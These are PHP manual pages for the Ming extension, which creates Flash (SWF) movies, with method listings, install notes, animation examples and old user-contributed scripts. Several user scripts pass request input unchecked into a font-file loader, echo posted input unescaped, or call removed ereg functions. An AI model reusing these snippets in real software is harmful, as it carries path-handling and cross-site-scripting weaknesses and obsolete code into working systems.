    • SWFDisplayItem::setMatrix — Sets the item's transform matrix
    • SWFDisplayItem::setName — Sets the object's name
    • SWFDisplayItem::setRatio — Sets the object's ratio
    • SWFDisplayItem::skewX — Sets the X-skew
    • SWFDisplayItem::skewXTo — Sets the X-skew
    • SWFDisplayItem::skewY — Sets the Y-skew
    • SWFDisplayItem::skewYTo — Sets the Y-skew
  • SWFFill — The SWFFill class
    • SWFFill::moveTo — Moves fill origin
    • SWFFill::rotateTo — Sets fill's rotation
    • SWFFill::scaleTo — Sets fill's scale
    • SWFFill::skewXTo — Sets fill x-skew
    • SWFFill::skewYTo — Sets fill y-skew
  • SWFFont — The SWFFont class
    • SWFFont::__construct — Loads a font definition
    • SWFFont::getAscent — Returns the ascent of the font, or 0 if not available
    • SWFFont::getDescent — Returns the descent of the font, or 0 if not available
    • SWFFont::getLeading — Returns the leading of the font, or 0 if not available
    • SWFFont::getShape — Returns the glyph shape of a char as a text string
    • SWFFont::getUTF8Width — Calculates the width of the given string in this font at full height
    • SWFFont::getWidth — Returns the string's width
  • SWFFontChar — The SWFFontChar class
    • SWFFontChar::addChars — Adds characters to a font for exporting font
    • SWFFontChar::addUTF8Chars — Adds characters to a font for exporting font
  • SWFGradient — The SWFGradient class
    • SWFGradient::addEntry — Adds an entry to the gradient list
    • SWFGradient::__construct — Creates a gradient object
  • SWFMorph — The SWFMorph class
    • SWFMorph::__construct — Creates a new SWFMorph object
    • SWFMorph::getShape1 — Gets a handle to the starting shape
    • SWFMorph::getShape2 — Gets a handle to the ending shape
  • SWFMovie — The SWFMovie class
    • SWFMovie::add — Adds any type of data to a movie
    • SWFMovie::addExport — Description
    • SWFMovie::addFont — Description
    • SWFMovie::__construct — Creates a new movie object, representing an SWF version 4 movie
    • SWFMovie::importChar — Description
    • SWFMovie::importFont — Description
    • SWFMovie::labelFrame — Labels a frame
    • SWFMovie::nextFrame — Moves to the next frame of the animation
    • SWFMovie::output — Dumps your lovingly prepared movie out
    • SWFMovie::remove — Removes the object instance from the display list
    • SWFMovie::save — Saves the SWF movie in a file
    • SWFMovie::saveToFile — Description
    • SWFMovie::setbackground — Sets the background color
    • SWFMovie::setDimension — Sets the movie's width and height
    • SWFMovie::setFrames — Sets the total number of frames in the animation
    • SWFMovie::setRate — Sets the animation's frame rate
    • SWFMovie::startSound — Description
    • SWFMovie::stopSound — Description
    • SWFMovie::streamMP3 — Streams a MP3 file
    • SWFMovie::writeExports — Description
  • SWFPrebuiltClip — The SWFPrebuiltClip class
    • SWFPrebuiltClip::__construct — Returns a SWFPrebuiltClip object
  • SWFShape — The SWFShape class
    • SWFShape::addFill — Adds a solid fill to the shape
    • SWFShape::__construct — Creates a new shape object
    • SWFShape::drawArc — Draws an arc of radius r centered at the current location, from angle startAngle to angle endAngle measured clockwise from 12 o'clock
    • SWFShape::drawCircle — Draws a circle of radius r centered at the current location, in a counter-clockwise fashion
    • SWFShape::drawCubic — Draws a cubic bezier curve using the current position and the three given points as control points
    • SWFShape::drawCubicTo — Draws a cubic bezier curve using the current position and the three given points as control points
    • SWFShape::drawCurve — Draws a curve (relative)
    • SWFShape::drawCurveTo — Draws a curve
    • SWFShape::drawGlyph — Draws the first character in the given string into the shape using the glyph definition from the given font
    • SWFShape::drawLine — Draws a line (relative)
    • SWFShape::drawLineTo — Draws a line
    • SWFShape::movePen — Moves the shape's pen (relative)
    • SWFShape::movePenTo — Moves the shape's pen
    • SWFShape::setLeftFill — Sets left rasterizing color
    • SWFShape::setLine — Sets the shape's line style
    • SWFShape::setRightFill — Sets right rasterizing color
  • SWFSound — The SWFSound class
    • SWFSound::__construct — Returns a new SWFSound object from given file
  • SWFSoundInstance — The SWFSoundInstance class
    • SWFSoundInstance::loopCount — Description
    • SWFSoundInstance::loopInPoint — Description
    • SWFSoundInstance::loopOutPoint — Description
    • SWFSoundInstance::noMultiple — Description
  • SWFSprite — The SWFSprite class
    • SWFSprite::add — Adds an object to a sprite
    • SWFSprite::__construct — Creates a movie clip (a sprite)
    • SWFSprite::labelFrame — Labels frame
    • SWFSprite::nextFrame — Moves to the next frame of the animation
    • SWFSprite::remove — Removes an object to a sprite
    • SWFSprite::setFrames — Sets the total number of frames in the animation
    • SWFSprite::startSound — Description
    • SWFSprite::stopSound — Description
  • SWFText — The SWFText class
    • SWFText::addString — Draws a string
    • SWFText::addUTF8String — Writes the given text into this SWFText object at the current pen position, using the current font, height, spacing, and color
    • SWFText::__construct — Creates a new SWFText object
    • SWFText::getAscent — Returns the ascent of the current font at its current size, or 0 if not available
    • SWFText::getDescent — Returns the descent of the current font at its current size, or 0 if not available
    • SWFText::getLeading — Returns the leading of the current font at its current size, or 0 if not available
    • SWFText::getUTF8Width — calculates the width of the given string in this text objects current font and size
    • SWFText::getWidth — Computes string's width
    • SWFText::moveTo — Moves the pen
    • SWFText::setColor — Sets the current text color
    • SWFText::setFont — Sets the current font
    • SWFText::setHeight — Sets the current font height
    • SWFText::setSpacing — Sets the current font spacing
  • SWFTextField — The SWFTextField class
    • SWFTextField::addChars — adds characters to a font that will be available within a textfield
    • SWFTextField::addString — Concatenates the given string to the text field
    • SWFTextField::align — Sets the text field alignment
    • SWFTextField::__construct — Creates a text field object
    • SWFTextField::setBounds — Sets the text field width and height
    • SWFTextField::setColor — Sets the color of the text field
    • SWFTextField::setFont — Sets the text field font
    • SWFTextField::setHeight — Sets the font height of this text field font
    • SWFTextField::setIndentation — Sets the indentation of the first line
    • SWFTextField::setLeftMargin — Sets the left margin width of the text field
    • SWFTextField::setLineSpacing — Sets the line spacing of the text field
    • SWFTextField::setMargins — Sets the margins width of the text field
    • SWFTextField::setName — Sets the variable name
    • SWFTextField::setPadding — Sets the padding of this textfield
    • SWFTextField::setRightMargin — Sets the right margin width of the text field
  • SWFVideoStream — The SWFVideoStream class
    • SWFVideoStream::__construct — Returns a SWFVideoStream object
    • SWFVideoStream::getNumFrames — Returns the number of frames in the video
    • SWFVideoStream::setDimension — Sets video dimension

User Contributed Notes

There are no user contributed notes for this page.
HaruDestination::setXYZ
Introduction
Non-Text MIME Output


Introduction

First of all: Ming is not an acronym. Ming is an open-source (LGPL) library which allows you to create SWF ("Flash") format movies. Ming supports almost all of Flash 4's features, including: shapes, gradients, bitmaps (pngs and jpegs), morphs ("shape tweens"), text, buttons, actions, sprites ("movie clips"), streaming mp3, and color transforms --the only thing that's missing is sound events.

Note that all values specifying length, distance, size, etc. are in "twips", twenty units per pixel. That's pretty much arbitrary, though, since the player scales the movie to whatever pixel size is specified in the embed/object tag, or the entire frame if not embedded.

Ming offers a number of advantages over the existing PHP/libswf module. You can use Ming anywhere you can compile the code, whereas libswf is closed-source and only available for a few platforms, Windows not one of them. Ming provides some insulation from the mundane details of the SWF file format, wrapping the movie elements in PHP objects. Also, Ming is still being maintained; if there's a feature that you want to see, just let us know at » http://www.libming.org/.

Ming was added in PHP 4.0.5.

Warning

This extension is EXPERIMENTAL. The behaviour of this extension including the names of its functions and any other documentation surrounding this extension may change without notice in a future release of PHP. This extension should be used at your own risk.

Note:

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.3.0.

User Contributed Notes

petruzanautico at yahoo dot com dot ar 24-Sep-2010 07:28
Just found out why this is called Ming and LOL'ed.
Ming is Flash Gordon's enemy. :D
Ming
Installing/Configuring
Ming


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

uwe dot feldmann at tas-gruppe dot de 15-Dec-2010 04:43
Installation on Ubuntu is quite simple, tested with version 5.2.10 on Apache2 / Ubuntu 6.4:

Install with (sudo) apt-get install php5-ming
Restart apache
done!

You can check the installation with phpinfo(), it should show a chapter called "ming".
bcraigie 12-Oct-2008 03:31
The installation notes for ming 0.3.0 say:
"Feb 2006: This module is for PHP4, not PHP5. Use the ming module that
comes with PHP5 if you are running PHP5."

This is a little confusing as the installation notes here don't explain how to do this with php5.

:-S
Introduction
Requirements
Ming


Requirements

To use Ming with PHP, you first need to build and install the Ming library. Source code and installation instructions are available at the Ming home page: » http://www.libming.org/ along with examples, a small tutorial, and the latest news.

Download the ming archive. Unpack the archive. Go in the Ming directory. make. make install.

This will build libming.so and install it into /usr/lib/, and copy ming.h into /usr/include/. Edit the PREFIX= line in the Makefile to change the installation directory.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/ming.

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.3.0

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

MING_NEW (integer)
MING_ZLIB (integer)
SWFBUTTON_HIT (integer)
SWFBUTTON_DOWN (integer)
SWFBUTTON_OVER (integer)
SWFBUTTON_UP (integer)
SWFBUTTON_MOUSEUPOUTSIDE (integer)
SWFBUTTON_DRAGOVER (integer)
SWFBUTTON_DRAGOUT (integer)
SWFBUTTON_MOUSEUP (integer)
SWFBUTTON_MOUSEDOWN (integer)
SWFBUTTON_MOUSEOUT (integer)
SWFBUTTON_MOUSEOVER (integer)
SWFFILL_RADIAL_GRADIENT (integer)
SWFFILL_LINEAR_GRADIENT (integer)
SWFFILL_TILED_BITMAP (integer)
SWFFILL_CLIPPED_BITMAP (integer)
SWFTEXTFIELD_HASLENGTH (integer)
SWFTEXTFIELD_NOEDIT (integer)
SWFTEXTFIELD_PASSWORD (integer)
SWFTEXTFIELD_MULTILINE (integer)
SWFTEXTFIELD_WORDWRAP (integer)
SWFTEXTFIELD_DRAWBOX (integer)
SWFTEXTFIELD_NOSELECT (integer)
SWFTEXTFIELD_HTML (integer)
SWFTEXTFIELD_ALIGN_LEFT (integer)
SWFTEXTFIELD_ALIGN_RIGHT (integer)
SWFTEXTFIELD_ALIGN_CENTER (integer)
SWFTEXTFIELD_ALIGN_JUSTIFY (integer)
SWFACTION_ONLOAD (integer)
SWFACTION_ENTERFRAME (integer)
SWFACTION_UNLOAD (integer)
SWFACTION_MOUSEMOVE (integer)
SWFACTION_MOUSEDOWN (integer)
SWFACTION_MOUSEUP (integer)
SWFACTION_KEYDOWN (integer)
SWFACTION_KEYUP (integer)
SWFACTION_DATA (integer)

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
Ming


Examples

Table of Contents

  • SWFAction Examples
  • SWFSPrite basic examples

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
SWFAction Examples
Ming


SWFAction Examples

This simple example will move the red square across the window.

Example #1 swfaction() example

<?php
  $s = new SWFShape();
  $f = $s->addFill(0xff, 0, 0);
  $s->setRightFill($f);

  $s->movePenTo(-500, -500);
  $s->drawLineTo(500, -500);
  $s->drawLineTo(500, 500);
  $s->drawLineTo(-500, 500);
  $s->drawLineTo(-500, -500);

  $p = new SWFSprite();
  $i = $p->add($s);
  $i->setDepth(1);
  $p->nextFrame();

  for ($n=0; $n<5; ++$n) {
    $i->rotate(-15);
    $p->nextFrame();
  }

  $m = new SWFMovie();
  $m->setBackground(0xff, 0xff, 0xff);
  $m->setDimension(6000, 4000);

  $i = $m->add($p);
  $i->setDepth(1);
  $i->moveTo(-500,2000);
  $i->setName("box");

  $m->add(new SWFAction("/box.x += 3;"));
  $m->nextFrame();
  $m->add(new SWFAction("gotoFrame(0); play();"));
  $m->nextFrame();

  header('Content-type: application/x-shockwave-flash');
  $m->output();
?>

This simple example tracks down your mouse on the screen.

Example #2 swfaction() example

<?php

  $m = new SWFMovie();
  $m->setRate(36.0);
  $m->setDimension(1200, 800);
  $m->setBackground(0, 0, 0);

  /* mouse tracking sprite - empty, but follows mouse so we can
     get its x and y coordinates */

  $i = $m->add(new SWFSprite());
  $i->setName('mouse');

  $m->add(new SWFAction("
    startDrag('/mouse', 1); /* '1' means lock sprite to the mouse */
  "));

  /* might as well turn off antialiasing, since these are just squares. */

  $m->add(new SWFAction("
    this.quality = 0;
  "));

  /* morphing box */
  $r = new SWFMorph();
  $s = $r->getShape1();

  /* Note this is backwards from normal shapes.  No idea why. */
  $s->setLeftFill($s->addFill(0xff, 0xff, 0xff));
  $s->movePenTo(-40, -40);
  $s->drawLine(80, 0);
  $s->drawLine(0, 80);
  $s->drawLine(-80, 0);
  $s->drawLine(0, -80);

  $s = $r->getShape2();

  $s->setLeftFill($s->addFill(0x00, 0x00, 0x00));
  $s->movePenTo(-1, -1);
  $s->drawLine(2, 0);
  $s->drawLine(0, 2);
  $s->drawLine(-2, 0);
  $s->drawLine(0, -2);

  /* sprite container for morphing box -
     this is just a timeline w/ the box morphing */

  $box = new SWFSprite();
  $box->add(new SWFAction("
    stop();
  "));
  $i = $box->add($r);

  for ($n=0; $n<=20; ++$n) {
    $i->setRatio($n/20);
    $box->nextFrame();
  }

  /* this container sprite allows us to use the same action code many times */

  $cell = new SWFSprite();
  $i = $cell->add($box);
  $i->setName('box');

  $cell->add(new SWFAction("

    setTarget('box');

    /* ...x means the x coordinate of the parent, i.e. (..).x */
    dx = (/mouse.x + random(6)-3 - ...x)/5;
    dy = (/mouse.y + random(6)-3 - ...y)/5;
    gotoFrame(int(dx*dx + dy*dy));

  "));

  $cell->nextFrame();
  $cell->add(new SWFAction("

    gotoFrame(0);
    play();

  "));

  $cell->nextFrame();

  /* finally, add a bunch of the cells to the movie */

  for ($x=0; $x<12; ++$x) {
    for ($y=0; $y<8; ++$y) {
      $i = $m->add($cell);
      $i->moveTo(100*$x+50, 100*$y+50);
    }
  }

  $m->nextFrame();

  $m->add(new SWFAction("

    gotoFrame(1);
    play();

  "));

  header('Content-type: application/x-shockwave-flash');
  $m->output();
?>

Same as above, but with nice colored balls...

Example #3 swfaction() example

<?php

  $m = new SWFMovie();
  $m->setDimension(11000, 8000);
  $m->setBackground(0x00, 0x00, 0x00);

  $m->add(new SWFAction("

this.quality = 0;
/frames.visible = 0;
startDrag('/mouse', 1);

  "));

  // mouse tracking sprite
  $t = new SWFSprite();
  $i = $m->add($t);
  $i->setName('mouse');

  $g = new SWFGradient();
  $g->addEntry(0, 0xff, 0xff, 0xff, 0xff);
  $g->addEntry(0.1, 0xff, 0xff, 0xff, 0xff);
  $g->addEntry(0.5, 0xff, 0xff, 0xff, 0x5f);
  $g->addEntry(1.0, 0xff, 0xff, 0xff, 0);

  // gradient shape thing
  $s = new SWFShape();
  $f = $s->addFill($g, SWFFILL_RADIAL_GRADIENT);
  $f->scaleTo(0.03);
  $s->setRightFill($f);
  $s->movePenTo(-600, -600);
  $s->drawLine(1200, 0);
  $s->drawLine(0, 1200);
  $s->drawLine(-1200, 0);
  $s->drawLine(0, -1200);

  // need to make this a sprite so we can multColor it
  $p = new SWFSprite();
  $p->add($s);
  $p->nextFrame();

  // put the shape in here, each frame a different color
  $q = new SWFSprite();
  $q->add(new SWFAction("gotoFrame(random(7)+1); stop();"));
  $i = $q->add($p);

  $i->multColor(1.0, 1.0, 1.0);
  $q->nextFrame();
  $i->multColor(1.0, 0.5, 0.5);
  $q->nextFrame();
  $i->multColor(1.0, 0.75, 0.5);
  $q->nextFrame();
  $i->multColor(1.0, 1.0, 0.5);
  $q->nextFrame();
  $i->multColor(0.5, 1.0, 0.5);
  $q->nextFrame();
  $i->multColor(0.5, 0.5, 1.0);
  $q->nextFrame();
  $i->multColor(1.0, 0.5, 1.0);
  $q->nextFrame();

  // finally, this one contains the action code
  $p = new SWFSprite();
  $i = $p->add($q);
  $i->setName('frames');
  $p->add(new SWFAction("

dx = (/:mousex-/:lastx)/3 + random(10)-5;
dy = (/:mousey-/:lasty)/3;
x = /:mousex;
y = /:mousey;
alpha = 100;

  "));
  $p->nextFrame();

  $p->add(new SWFAction("

this.x = x;
this.y = y;
this.alpha = alpha;
x += dx;
y += dy;
dy += 3;
alpha -= 8;

  "));
  $p->nextFrame();

  $p->add(new SWFAction("prevFrame(); play();"));
  $p->nextFrame();

  $i = $m->add($p);
  $i->setName('frames');
  $m->nextFrame();

  $m->add(new SWFAction("

lastx = mousex;
lasty = mousey;
mousex = /mouse.x;
mousey = /mouse.y;

++num;

if (num == 11)
  num = 1;

removeClip('char' & num);
duplicateClip(/frames, 'char' & num, num);

  "));

  $m->nextFrame();
  $m->add(new SWFAction("prevFrame(); play();"));

  header('Content-type: application/x-shockwave-flash');
  $m->output();
?>

User Contributed Notes

Ross Smith 04-Oct-2010 07:22
These examples does not work, unless you add
ming_useswfversion(4);
to the beginning, as found in the examples here:
http://ming.sourceforge.net/examples/index.html
taral dot m dot oza at gmail dot com 23-Jun-2010 11:57
I think we can solve this problem by putting // (double slashes) at everywhere where / (single slash) is used in constructor .

I have test it to my local .. It works fine for me ..
Oliver 07-Apr-2009 05:48
You may get a "syntax error" when trying the above examples. To solve this, remove the slash "/" from the following line in example 1:

$m->add(new SWFAction("/box.x += 3;"));

Similarly in the other examples.
Examples
SWFSPrite basic examples
Examples


SWFSPrite basic examples

This simple example will spin gracefully a big red square.

Example #1 swfsprite() example

<?php
$s = new SWFShape();
$s->setRightFill($s->addFill(0xff, 0, 0));
$s->movePenTo(-500, -500);
$s->drawLineTo(500, -500);
$s->drawLineTo(500, 500);
$s->drawLineTo(-500, 500);
$s->drawLineTo(-500, -500);

$p = new SWFSprite();
$i = $p->add($s);
$p->nextFrame();
$i->rotate(15);
$p->nextFrame();
$i->rotate(15);
$p->nextFrame();
$i->rotate(15);
$p->nextFrame();
$i->rotate(15);
$p->nextFrame();
$i->rotate(15);
$p->nextFrame();

$m = new SWFMovie();
$i = $m->add($p);
$i->moveTo(1500, 1000);
$i->setName("blah");

$m->setBackground(0xff, 0xff, 0xff);
$m->setDimension(3000, 2000);

header('Content-type: application/x-shockwave-flash');
$m->output();
?>

User Contributed Notes

There are no user contributed notes for this page.
SWFAction Examples
Ming Functions
Examples


Ming Functions

Table of Contents

  • ming_keypress — Returns the action flag for keyPress(char)
  • ming_setcubicthreshold — Set cubic threshold
  • ming_setscale — Set the global scaling factor.
  • ming_setswfcompression — Sets the SWF output compression
  • ming_useconstants — Use constant pool
  • ming_useswfversion — Sets the SWF version

User Contributed Notes

catfarm at gmail dot com 06-Sep-2007 04:48
I tried to use the code suggested below by random at nowhere dot com to extract the width and height from an swf with no success, however the following worked for me in php 5.

<?php

$info = getimagesize('flashfile.swf');
$w = $info[0];
$h = $info[1];

?>

not sure how far back it works, or with what versions of flash, but it seems to work with flash 7 files just fine.
random at nowhere dot com 01-Aug-2007 01:48
For those looking for just getting size of a .swf file :
<?
// bytes_to_signed_int(data,offset,length)
function b2i($d,$o,$l) {
    $s=(ord($d[$o/8])>>(7-$o%8))&1; $r=0;
    for ($i=$o+1;$i<$o+$l;$i++) {
        $b=(ord($d[$i/8])>>(7-$i%8))&1;
        $r=($r<<1)+($s?!$b:$b);
    }
    if ($s) { $r++; $r=-$r; }
    return $r;
}

// flash9 or <9 but uncompressed
$f="myfile.swf";

// get only 20 first bytes
$d=file_get_contents($f,0,null,0,20);

echo "Version of Flash : ".ord($d[3])."<br>";
$s=unpack("V",substr($d,4,4)); echo "FileSize : ".$s[1]." bytes<br>";

// here is the decompression, fix this for flash <9
if (substr($d,0,3)=="CWS") $d=substr($d,0,8).gzinflate(substr($d,8));

$nb=ord($d[8])>>3; // bytes needed
$xmin=b2i($d,8*8+5,$nb);
$xmax=b2i($d,8*8+5+$nb,$nb);
$ymin=b2i($d,8*8+5+2*$nb,$nb);
$ymax=b2i($d,8*8+5+3*$nb,$nb);

// width=xmax-xmin, height=ymax-ymin, twips->pixels = /20
echo "width=".(($xmax-$xmin)/20)."<br>";
echo "height=".(($ymax-$ymin)/20)."<br>";
?>
rolf at winmutt dot com 18-Mar-2007 01:51
Here is a little font browser I made to try and typeset match my designers font from the pack of 1300+ fdb I found on google:

<?
    $m = new SWFMovie();
    $m->setBackground(0xFF, 0xFF, 0xFF);
    $m->setDimension(320, 40);

    function drawGlyphString($string, $s, $f, $fill) {
        $s->setRightFill($fill);
        $s->movePenTo(0, $f->getAscent());

        for ($i=0; $i<strlen($string); $i++) {
            $s->drawGlyph($f, substr($string,$i,1), $size);
            $s->movePen($f->getWidth(substr($string,$i,1)), 0);
        }
    }

    function drawFont($f) {
        $logo = new SWFShape();

        $grey = $logo->addFill(0, 0, 0);
        drawGlyphString('yrt '.$_REQUEST['fdb'], $logo, $f, $grey);
        return $logo;
    }

    if ($_REQUEST['fdb']) {
        $f = new SWFFont($_REQUEST['fdb']);
        $i = $m->add(drawFont($f));
        $i->scaleTo(0.5);
        header('Content-type: application/x-shockwave-flash');
        $m->output();
    } else {
        if (!$_REQUEST['o']) $_REQUEST['o']=0;
        if (!$_REQUEST['l']) $_REQUEST['l']=80;
        $o=$_REQUEST['o'];
        $l=$_REQUEST['l'];

        $d = dir(".");
        while (false !== ($entry = $d->read())) {
            if (stristr($entry, 'fdb') && !strstr($entry, '-I') && !strstr($entry, '-B')) {
                if ($_REQUEST['o']) {
                    $_REQUEST['o']--;
                } elseif ($_REQUEST['l'] ) {
                    $_REQUEST['l']--;
                    echo '<iframe height="30px" src="fonts.php?fdb='.$entry.'&" title="'.$entry.'"></iframe>';
                } else {
                    echo '<img src="/creativesyndrome.com/logo.png"><br><a href="?l='.$l.'&o='.($o+$l).'">next ></a>';exit;
                }
            }
        }
        $d->close();
    }

?>
Scottie_Too_Hottie7 at lycos dot com 11-Nov-2005 12:59
For People Like My Mate, Matt, Who Dosent Know Much PHP, I Am Creating A Simpeler PHP Libary. It Runs Under Ming 0.3

It - Along With Two Examples - Can Be Currently Downloaded From The Link Below

PLEASE NOTE : At The Time Of This Post, The Libary Is Currently Is Unfinished And Currently Looks Like A Mess Of Files - But It Works!

http://members.lycos.co.uk/cgming/simpleswf.html
dank at nospam dot org 08-Apr-2005 02:23
/*
If you are looking to do some simple interaction between Flash MX and php,
here is an extremely basic model to get you started. The Flash file has a simple
Input Text field which allows the user to enter text (ie a textbox). The flash
then passes the textfield to the php script for processing/database interaction etc.

The idea is a form made in Flash, but processing by php/mysql (or whatever). If you want
to handle all GUI in Flash, see the links below for more info.

All "Actions" or "Action Script" located in frame 1, layer 1.
In Flash, create an Input Box with an instance name of myTextBox.
Create a "submit button" using Insert>New Symbol>Movie Clip.
Dont use the PushButton Component or you will have to add
scripting to that component (ie outside Frame1 Layer1). Keeping all the
Action Script in Frame1 makes for a simpler example.

Next, click on the background in Frame1 (the "Properties" dialog
should show the Background color). Hit F9 to show actions for Frame1.
Enter the below code:
*/

//Create object to hold vars
dataSender  = new LoadVars();

//Define submit button behavior
submit_button.onRelease = function() {
    //assign properties to LoadVars object created previously
    //myTextBox is instance name for input text box
    //foo will be the var passed to php (ie $foo)
    //Set foo to the text entered by user
    dataSender.foo = myTextBox.text;
    //Call flash's send function to send foo to the php script
    //Using "_self" will pass control to the php script
    dataSender.send("testFlash.php", "_self", "POST");
}

/* Put the swf file in an html file and upload it to the server
Create the below php file and save it as testFlash.php:

<?php
echo "foo= $foo";
?>

Push testFlash.php to the same directory on the server and hit
your html file with your browser.

Parts of this code taken from:
http://www.thegoldenmean.com/technique/flashMX_mailform1.html
and
http://actionscript-toolbox.com/samplemx_php.php
*/
wokan at cox dot net 01-Jun-2004 06:07
For those who don't get the naming, _Ming_ the Merciless was comic book hero _Flash_ Gordon's arch enemy.
gaz_b3 at yahoo dot com 04-Apr-2003 05:11
The current CVS version, Ming 0.3a, supports
a lot of MX ActionScript including the MX Drawing API.
This is very nice for easy command line compiling of
MX ActionScript only movies.

For example:

<?
ming_setScale(20.00000000);
ming_useswfversion(6);
$movie = new SWFMovie();
$movie->setDimension(550,400);
$movie->setBackground(0xcc, 0xcc, 0xcc );
$movie->setRate(31);

// mx actionscript
$strAction = "
_root.createEmptyMovieClip ( 'triangle', 1 );
with ( _root.triangle ) {
lineStyle( 5, 0xff00ff, 100 );
moveTo( 200, 200 );
lineTo( 300,300 );
lineTo( 100, 300 );
lineTo( 200, 200 );
}
";

$movie->add(new SWFAction( str_replace("\r", "", $strAction) ));
$movie->save("trianglemx.swf");
?>

Lots of examples here:

http://www16.brinkster.com/gazb/ming/
kunnoichi at hotmail dot com 20-Aug-2001 12:50
//In quicktime, movies may be exported as jpeg or png
//This object will convert any movie that has been saved as a group of images into
//an swf file. The frame rate and other attributes can be controlled

$path = "my_movie_dir"; //relative path to the jpg/png or bmp files
$frame_rate=30; //frame rate of the flash movie
$quality=50; //image quality during conversion (only valid if not jpeg)
$skip_rate=5; //how many frames to skip
set_time_limit("600"); //this could take some time

$converter=new images_to_swf($path,$frame_rate,$skip_rate);

//$converter->convert_images(70); //Use this if using non jpeg files or decreasing the quality

$converter->make_movie();//Make the movie

//Do two things with it
$converter->save_movie("my_movie_dir/my_movie.swf");
$converter->output_movie();

class images_to_swf {

    var $path; //path to the image files
    var $skip_rate;
    var $movie;
    var $images=array();

    function images_to_swf($path,$frame_rate=30,$skip_rate=5) {
        $this->path=$path;
        $this->skip_rate=$skip_rate;

        $this->movie=new swfmovie ();
        $this->movie->setrate ($frame_rate);
    }

    function convert_images($quality=80,$delete_old_files=1) {
        $main = opendir($this->path);
        rewinddir($main);
        //first convert to jpeg (if we have to)
        //also change the quality
        while($filename = readdir($main)) {

            //only use valid file types
            if (ereg("(png|bmp|jpg|jpeg)\$",$filename)) {
                $file_path=$this->path."/".$filename;

                if (ereg("png\$",$filename)) $temp_img=imagecreatefrompng ($file_path);
                else if (ereg("bmp\$",$filename)) $temp_img=imagecreatefrompng ($file_path);
                else if (ereg("(jpg|jpeg)\$",$filename)) $temp_img=imagecreatefromjpeg ($file_path);

                if (ereg("(png|bmp)\$",$filename)) {
                    if ($delete_old_files) unlink($file_path);
                    $new_file_path=$file_path.".jpg";
                }
                else $new_file_path=$file_path;

                ImageJPEG($temp_img,$new_file_path,$quality);

                //echo "Converted $filename to $new_file_path at quality $quality<br />";
            }
        }
    }

    function make_movie() {
        $main = opendir($this->path);
        rewinddir($main);
        //Get all valid jpegs
        while($filename = readdir($main)) {
            if (ereg("(jpg|jpeg)\$",$filename)) {
                $file_path=$this->path."/".$filename;
                $valid_paths[]=$file_path;
            }
        }

        //Put jpegs in order
        sort($valid_paths);

        //then create the movie
        for ($a=0; $a<count($valid_paths); $a=$a+$this->skip_rate) {
            $fp = fopen($valid_paths[$a],"rb");
            $this->images[$a] = fread($fp,999999);
            fclose($fp);
            $this->movie->add(new swfbitmap($this->images[$a]));
            $this->movie->nextframe();
            //echo "Added ".$valid_paths[$a]." to the movie<br />\n";
        }
    }

    function save_movie($file_name) {
        $this->movie->save($file_name);
    }

    function output_movie() {
        header('Content-type: application/x-shockwave-flash');
        $this->movie->output();
    }
}
ivv_rousse at yahoo dot com 04-Aug-2001 06:17
// Simple button with link

<?php
  Ming_setScale(1.0);

  function makeRect($r, $g, $b){
    $s = new SWFShape();
    $s->setRightFill($s->addFill($r, $g, $b));
    $s->movePenTo(-100,-20);
    $s->drawLineTo(100,-20);
    $s->drawLineTo(100,20);
    $s->drawLineTo(-100,20);
    $s->drawLineTo(-100,-20);
    return $s;
  }

// Set Font
  $font = new SWFFont("test.fdb");
  $text1 = new SWFText();
  $text1->setFont($font);
  $text1->moveTo(155, 410);
  $text1->setColor(0x00, 0x00, 0x00);
  $text1->setHeight(28);
  $text1->addString("php.net");
  $b1 = new SWFButton();
  $b1->setUp(makeRect(0xff, 0, 0));
  $b1->setOver(makeRect(0xcc, 0, 0));
  $b1->setDown(makeRect(0, 0, 0xaa));
  $b1->setHit(makeRect(0, 0, 0));
  $b1->addAction(new SWFAction("getURL('http://www.php.net/', 'phpsite');"),
                SWFBUTTON_MOUSEUP);

  $m = new SWFMovie();
  $m->setDimension(1000,1000);
  $m->setBackground(0xcc, 0xcc, 0xcc);

  $i = $m->add($b1);
  $m->add($text1);
  $i->setName("phpsite");
  $i->moveTo(200,400);

header("Content-type: application/x-shockwave-flash");
$m->output();
?>
SWFSPrite basic examples
ming_keypress
Ming


Returns the action flag for keyPress(char)

Ming Functions
ming_setcubicthreshold
Ming Functions
PHP Manual

ming_keypress

(PHP 5 <= 5.3.0, PECL ming SVN)

ming_keypress — Returns the action flag for keyPress(char)

Description

int ming_keypress ( string $char )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
Ming Functions
ming_setcubicthreshold
Ming Functions


Set cubic threshold

ming_keypress
ming_setscale
Ming Functions
PHP Manual

ming_setcubicthreshold

(PHP 4 >= 4.0.5, PHP 5, PECL ming SVN)

ming_setcubicthreshold — Set cubic threshold

Description

void ming_setcubicthreshold ( int $threshold )

Sets the threshold error for drawing cubic beziers.

Parameters

threshold

The Threshold. Lower is more accurate, hence larger file size.

Return Values

No value is returned.

User Contributed Notes

cece at php dot net 28-Aug-2002 10:18
Reading that document on Macromedia's site gives me light.

http://www.macromedia.com/support/flash/ts/documents/beziers.htm

It says, swf format only supports quadratic beziers, what less accurate than cubic beziers, but easy to render fast. I think, in swf file's beziers are quadratic interpolation of better looking quadratic beziers. Threshold value drives this accuracy (more control nodes, bigger files)
ming_keypress
ming_setscale
Ming Functions


Set the global scaling factor.

ming_setcubicthreshold
ming_setswfcompression
Ming Functions
PHP Manual

ming_setscale

(PHP 4 >= 4.0.5, PHP 5, PECL ming SVN)

ming_setscale — Set the global scaling factor.

Description

void ming_setscale ( float $scale )

Sets the scale of the output SWF. Inside the SWF file, coordinates are measured in TWIPS, rather than PIXELS. There are 20 TWIPS in 1 pixel.

Parameters

scale

The scale to be set.

Return Values

No value is returned.

User Contributed Notes

